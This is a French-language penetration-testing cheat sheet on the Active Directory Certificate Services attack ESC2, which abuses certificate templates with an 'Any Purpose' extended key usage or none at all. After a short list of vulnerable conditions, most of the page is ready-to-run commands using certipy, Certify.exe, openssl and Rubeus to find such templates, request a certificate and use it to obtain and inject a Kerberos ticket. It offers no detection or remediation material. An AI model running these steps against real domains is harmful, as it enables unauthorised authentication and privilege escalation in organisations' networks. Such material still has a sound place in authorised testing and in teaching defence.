### Description ESC2 exploite des modèles de certificats configurés avec l'Extended Key Usage (EKU) "Any Purpose" ou sans EKU défini, permettant d'utiliser le certificat pour n'importe quel usage, y compris l'authentification. ### Conditions vulnérables Un modèle de certificat est vulnérable à ESC2 si : 1. **Enrollment autorisé** - L'utilisateur a les droits `Enroll` ou `AutoEnroll` 2. **EKU Any Purpose ou aucun EKU** - Une des conditions suivantes : - Le modèle a l'EKU `Any Purpose` (OID: 2.5.29.37.0) - Le modèle n'a aucun EKU défini 3. **Pas de signatures requises** - `CT_FLAG_PEND_ALL_REQUESTS` n'est pas activé --- ### Exploitation depuis linux (certipy) Enumération des templates vulnérables : ```bash certipy find -u [email protected] -p password -target dc01.domain.local # Énumération avec sortie JSON pour analyse certipy find -u [email protected] -p password -target dc01.domain.local -json -output vulnerabilities.json # Recherche spécifique des modèles Any Purpose certipy find -u [email protected] -p password -target dc01.domain.local | grep -i "any purpose\|no eku" ``` Faire la demande de certificat : ```bash # Demande d'un certificat avec modèle Any Purpose certipy req -u [email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -template 'AnyPurposeTemplate' ``` Authentification avec le certificat reçu : ```bash # Utilisation du certificat pour l'authentification client certipy auth -pfx user.pfx -username user -domain domain.local -dc-ip 192.168.1.10 # Avec un mot de passe pour le certificat certipy auth -pfx user.pfx -password cert_password -username user -domain domain.local -dc-ip 192.168.1.10 ``` --- ### Exploitation depuis windows (certify.exe) Enumération des templates vulnérables : ```powershell # Énumération des modèles vulnérables Certify.exe find /vulnerable # Filtrage spécifique ESC2 Certify.exe find /vulnerable | findstr "Any Purpose" ``` Faire la demande de certificat : ```powershell # Demande d'un certificat avec le modèle vulnérable Certify.exe request /ca:DC01.domain.local\domain-DC01-CA /template:AnyPurposeTemplate ``` Authentification avec le certificat reçu : ```powershell # Conversion du certificat si nécessaire openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx # Authentification avec le certificat Rubeus.exe asktgt /user:currentuser /certificate:cert.pfx /password:password123 /ptt ```